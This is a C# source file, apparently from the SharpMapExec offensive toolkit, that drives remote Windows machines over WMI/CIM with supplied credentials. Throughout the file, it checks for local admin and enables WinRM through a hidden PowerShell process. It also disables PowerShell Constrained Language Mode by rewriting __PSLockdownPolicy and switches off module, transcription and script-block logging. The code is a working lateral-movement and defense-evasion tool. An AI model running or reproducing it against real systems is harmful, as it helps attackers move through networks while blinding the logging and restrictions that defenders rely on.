| 1 | + | using System; |
| 2 | + | using System.Collections.Generic; |
| 3 | + | using System.Linq; |
| 4 | + | using System.Management; |
| 5 | + | using System.Text; |
| 6 | + | using System.Threading; |
| 7 | + | using System.Threading.Tasks; |
| 8 | + | using Microsoft.Management.Infrastructure; |
| 9 | + | using Microsoft.Management.Infrastructure.Options; |
| 10 | + | using SharpMapExec.Helpers; |
| 11 | + | |
| 12 | + | namespace SharpMapExec.Lib |
| 13 | + | { |
| 14 | + | class Cim |
| 15 | + | { |
| 16 | + | public static string Namespace = @"root\cimv2"; |
| 17 | + | |
| 18 | + | public static CimSession newSession(string computername, string domain, string username, string password, bool impersonate = false) |
| 19 | + | { |
| 20 | + | CimSession cimSession; |
| 21 | + | |
| 22 | + | if (impersonate) |
| 23 | + | { |
| 24 | + | DComSessionOptions options = new DComSessionOptions { Impersonation = ImpersonationType.Default }; |
| 25 | + | cimSession = CimSession.Create(computername, options); |
| 26 | + | } |
| 27 | + | else |
| 28 | + | { |
| 29 | + | CimCredential credentials = new CimCredential(PasswordAuthenticationMechanism.Negotiate, domain, username, Misc.CreateSecuredString(password)); |
| 30 | + | WSManSessionOptions sessionOptions = new WSManSessionOptions(); |
| 31 | + | sessionOptions.AddDestinationCredentials(credentials); |
| 32 | + | sessionOptions.MaxEnvelopeSize = 256000; |
| 33 | + | cimSession = CimSession.Create(computername, sessionOptions); |
| 34 | + | } |
| 35 | + | return cimSession; |
| 36 | + | } |
| 37 | + | |
| 38 | + | public static bool CheckLocalAdmin(CimSession cimSession) |
| 39 | + | { |
| 40 | + | if (!cimSession.TestConnection(out CimInstance instance, out CimException exception)) |
| 41 | + | { |
| 42 | + | Console.WriteLine(String.Format(" [-] Failed to authenticate on {0}", cimSession.ComputerName)); |
| 43 | + | return false; |
| 44 | + | } |
| 45 | + | Console.WriteLine(String.Format(" [+] Local Admin on {0}", cimSession.ComputerName)); |
| 46 | + | return true; |
| 47 | + | } |
| 48 | + | |
| 49 | + | public static void enable_winrm(CimSession cimSession) |
| 50 | + | { |
| 51 | + | CimMethodParametersCollection cimParams = new CimMethodParametersCollection |
| 52 | + | { |
| 53 | + | CimMethodParameter.Create("CommandLine", "powershell -nop -w hidden -command 'Enable-PSRemoting -Force'", CimFlags.In) |
| 54 | + | }; |
| 55 | + | CimMethodResult results = cimSession.InvokeMethod(new CimInstance("Win32_Process", Namespace), "Create", cimParams); |
| 56 | + | if (results.ReturnValue.Value.ToString() == "0") |
| 57 | + | { |
| 58 | + | Console.WriteLine(" [+] WinRm Enabled"); |
| 59 | + | } |
| 60 | + | else |
| 61 | + | { |
| 62 | + | Console.WriteLine(" [-] Failed To Enable WinRm"); |
| 63 | + | } |
| 64 | + | } |
| 65 | + | |
| 66 | + | public static void disable_winrm(CimSession cimSession) |
| 67 | + | { |
| 68 | + | CimMethodParametersCollection cimParams = new CimMethodParametersCollection |
| 69 | + | { |
| 70 | + | CimMethodParameter.Create("CommandLine", "powershell -nop -w hidden -command 'Disable-PSRemoting -Force'", CimFlags.In) |
| 71 | + | }; |
| 72 | + | CimMethodResult results = cimSession.InvokeMethod(new CimInstance("Win32_Process", Namespace), "Create", cimParams); |
| 73 | + | if (results.ReturnValue.Value.ToString() == "0") |
| 74 | + | { |
| 75 | + | Console.WriteLine(" [+] WinRm Disabled"); |
| 76 | + | } |
| 77 | + | else |
| 78 | + | { |
| 79 | + | Console.WriteLine(" [-] Failed To Disable WinRm"); |
| 80 | + | } |
| 81 | + | } |
| 82 | + | |
| 83 | + | //registry |
| 84 | + | //https://wutils.com/wmi/root/cimv2/stdregprov/ |
| 85 | + | public static bool regExists(CimSession cimSession, UInt32 hDefKey, string sSubKeyName, string keyName) |
| 86 | + | { |
| 87 | + | CimMethodParametersCollection cimParams = new CimMethodParametersCollection |
| 88 | + | { |
| 89 | + | CimMethodParameter.Create("hDefKey", hDefKey, CimFlags.In), |
| 90 | + | CimMethodParameter.Create("sSubKeyName", sSubKeyName, CimFlags.In) |
| 91 | + | }; |
| 92 | + | CimMethodResult results = cimSession.InvokeMethod(new CimInstance("StdRegProv", Namespace), "EnumValues", cimParams); |
| 93 | + | if (results.ReturnValue.Value.ToString() != "0") |
| 94 | + | return false; |
| 95 | + | |
| 96 | + | string value = ((string[])results.OutParameters["sNames"].Value).FirstOrDefault(i => i.Contains(keyName)); |
| 97 | + | if (string.IsNullOrEmpty(value)) |
| 98 | + | { |
| 99 | + | return false; |
| 100 | + | } |
| 101 | + | return true; |
| 102 | + | } |
| 103 | + | |
| 104 | + | public static CimMethodResult readRegValue(CimSession cimSession, UInt32 hDefKey, string sSubKeyName, string keyName, string method) |
| 105 | + | { |
| 106 | + | CimMethodParametersCollection cimParams = new CimMethodParametersCollection |
| 107 | + | { |
| 108 | + | CimMethodParameter.Create("hDefKey", hDefKey, CimFlags.In), |
| 109 | + | CimMethodParameter.Create("sSubKeyName", sSubKeyName, CimFlags.In), |
| 110 | + | CimMethodParameter.Create("sValueName", keyName, CimFlags.In) |
| 111 | + | }; |
| 112 | + | CimMethodResult results = cimSession.InvokeMethod(new CimInstance("StdRegProv", Namespace), method, cimParams); |
| 113 | + | return results; |
| 114 | + | } |
| 115 | + | |
| 116 | + | public static string setRegValue(CimSession cimSession, UInt32 hDefKey, string sSubKeyName, string keyName, string keyValue) |
| 117 | + | { |
| 118 | + | CimMethodParametersCollection cimParams = new CimMethodParametersCollection |
| 119 | + | { |
| 120 | + | CimMethodParameter.Create("hDefKey", hDefKey, CimFlags.In), |
| 121 | + | CimMethodParameter.Create("sSubKeyName", sSubKeyName, CimFlags.In), |
| 122 | + | CimMethodParameter.Create("sValueName", keyName, CimFlags.In), |
| 123 | + | CimMethodParameter.Create("sValue", keyValue, CimFlags.In) |
| 124 | + | }; |
| 125 | + | CimMethodResult result = cimSession.InvokeMethod(new CimInstance("StdRegProv", Namespace), "SetStringValue", cimParams); |
| 126 | + | return result.ReturnValue.Value.ToString(); |
| 127 | + | } |
| 128 | + | |
| 129 | + | public static string setRegValue(CimSession cimSession, UInt32 hDefKey, string sSubKeyName, string keyName, UInt32 keyValue) |
| 130 | + | { |
| 131 | + | CimMethodParametersCollection cimParams = new CimMethodParametersCollection |
| 132 | + | { |
| 133 | + | CimMethodParameter.Create("hDefKey", hDefKey, CimFlags.In), |
| 134 | + | CimMethodParameter.Create("sSubKeyName", sSubKeyName, CimFlags.In), |
| 135 | + | CimMethodParameter.Create("sValueName", keyName, CimFlags.In), |
| 136 | + | CimMethodParameter.Create("uValue", keyValue, CimFlags.In) |
| 137 | + | }; |
| 138 | + | CimMethodResult result = cimSession.InvokeMethod(new CimInstance("StdRegProv", Namespace), "SetDWORDValue", cimParams); |
| 139 | + | return result.ReturnValue.Value.ToString(); |
| 140 | + | } |
| 141 | + | |
| 142 | + | public static void disable_pslockdown(CimSession cimSession) |
| 143 | + | { |
| 144 | + | bool lockdown = regExists(cimSession, 0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\Environment", "__PSLockdownPolicy"); |
| 145 | + | if (!lockdown) |
| 146 | + | { |
| 147 | + | Console.WriteLine("[*] CLM not enabled"); |
| 148 | + | return; |
| 149 | + | } |
| 150 | + | |
| 151 | + | string value = (string)readRegValue(cimSession, 0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\Environment", "__PSLockdownPolicy", "GetStringValue").OutParameters["sValue"].Value; |
| 152 | + | Console.WriteLine(" [*] __PSLockdownPolicy value: {0}", value); |
| 153 | + | |
| 154 | + | if (value.ToString() == "8") |
| 155 | + | { |
| 156 | + | return; |
| 157 | + | } |
| 158 | + | |
| 159 | + | string result = setRegValue(cimSession, 0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\Environment", "__PSLockdownPolicy", "8"); |
| 160 | + | if (result.Contains("0")) |
| 161 | + | { |
| 162 | + | Console.WriteLine(" [+] Constrained Language Mode Disabled"); |
| 163 | + | } |
| 164 | + | else |
| 165 | + | { |
| 166 | + | Console.WriteLine(" [-] Failed To Disable Constrained Language Mode"); |
| 167 | + | } |
| 168 | + | } |
| 169 | + | |
| 170 | + | public static void check_pslockdown(CimSession cimSession) |
| 171 | + | { |
| 172 | + | bool lockdown = regExists(cimSession, 0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\Environment", "__PSLockdownPolicy"); |
| 173 | + | if (!lockdown) |
| 174 | + | { |
| 175 | + | Console.WriteLine("[*] CLM not enabled"); |
| 176 | + | return; |
| 177 | + | } |
| 178 | + | |
| 179 | + | string value = (string)readRegValue(cimSession, 0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\Environment", "__PSLockdownPolicy", "GetStringValue").OutParameters["sValue"].Value; |
| 180 | + | Console.WriteLine(" [*] __PSLockdownPolicy value: {0}", value); |
| 181 | + | } |
| 182 | + | |
| 183 | + | public static void disable_pslogging(CimSession cimSession) |
| 184 | + | { |
| 185 | + | Dictionary<string, string> keys = new Dictionary<string, string> |
| 186 | + | { |
| 187 | + | { "EnableModuleLogging", @"Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" }, |
| 188 | + | { "EnableTranscripting", @"Software\Policies\Microsoft\Windows\PowerShell\Transcription" }, |
| 189 | + | { "EnableScriptBlockLogging", @"Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" }, |
| 190 | + | { "EnableScriptBlockInvocationLogging", @"Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" }, |
| 191 | + | }; |
| 192 | + | foreach (var key in keys) |
| 193 | + | { |
| 194 | + | bool lockdown = regExists(cimSession, 0x80000002, key.Value, key.Key); |
| 195 | + | if (!lockdown) |
| 196 | + | { |
| 197 | + | Console.WriteLine("[*] {0} not enabled", key.Key); |
| 198 | + | continue; |
| 199 | + | } |
| 200 | + | |
| 201 | + | var value = readRegValue(cimSession, 0x80000002, key.Value, key.Key, "GetDWORDValue").OutParameters["uValue"].Value; |
| 202 | + | Console.WriteLine(" [*] {0} value: {1}", key.Key, value); |
| 203 | + | |
| 204 | + | if(value.ToString() == "0") |
| 205 | + | { |
| 206 | + | continue; |
| 207 | + | } |
| 208 | + | |
| 209 | + | string result = setRegValue(cimSession, 0x80000002, key.Value, key.Key, 0); |
| 210 | + | if (result.Contains("0")) |
| 211 | + | { |
| 212 | + | Console.WriteLine(" [+] {0} Disabled", key.Key); |
| 213 | + | } |
| 214 | + | else |
| 215 | + | { |
| 216 | + | Console.WriteLine(" [-] Failed To Disable {0}", key.Key); |
| 217 | + | } |
| 218 | + | } |
| 219 | + | } |
| 220 | + | |
| 221 | + | public static void check_pslogging(CimSession cimSession) |
| 222 | + | { |
| 223 | + | Dictionary<string, string> keys = new Dictionary<string, string> |
| 224 | + | { |
| 225 | + | { "EnableModuleLogging", @"Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" }, |
| 226 | + | { "EnableTranscripting", @"Software\Policies\Microsoft\Windows\PowerShell\Transcription" }, |
| 227 | + | { "EnableScriptBlockLogging", @"Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" }, |
| 228 | + | { "EnableScriptBlockInvocationLogging", @"Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" }, |
| 229 | + | }; |
| 230 | + | foreach (var key in keys) |
| 231 | + | { |
| 232 | + | if (!regExists(cimSession, 0x80000002, key.Value, key.Key)) |
| 233 | + | { |
| 234 | + | Console.WriteLine("[*] {0} not enabled", key.Key); |
| 235 | + | continue; |
| 236 | + | } |
| 237 | + | var value = readRegValue(cimSession, 0x80000002, key.Value, key.Key, "GetDWORDValue").OutParameters["uValue"].Value; |
| 238 | + | Console.WriteLine(" [*] {0} value: {1}", key.Key, value); |
| 239 | + | } |
| 240 | + | } |
| 241 | + | } |
| 242 | + | } |
| 243 | + | |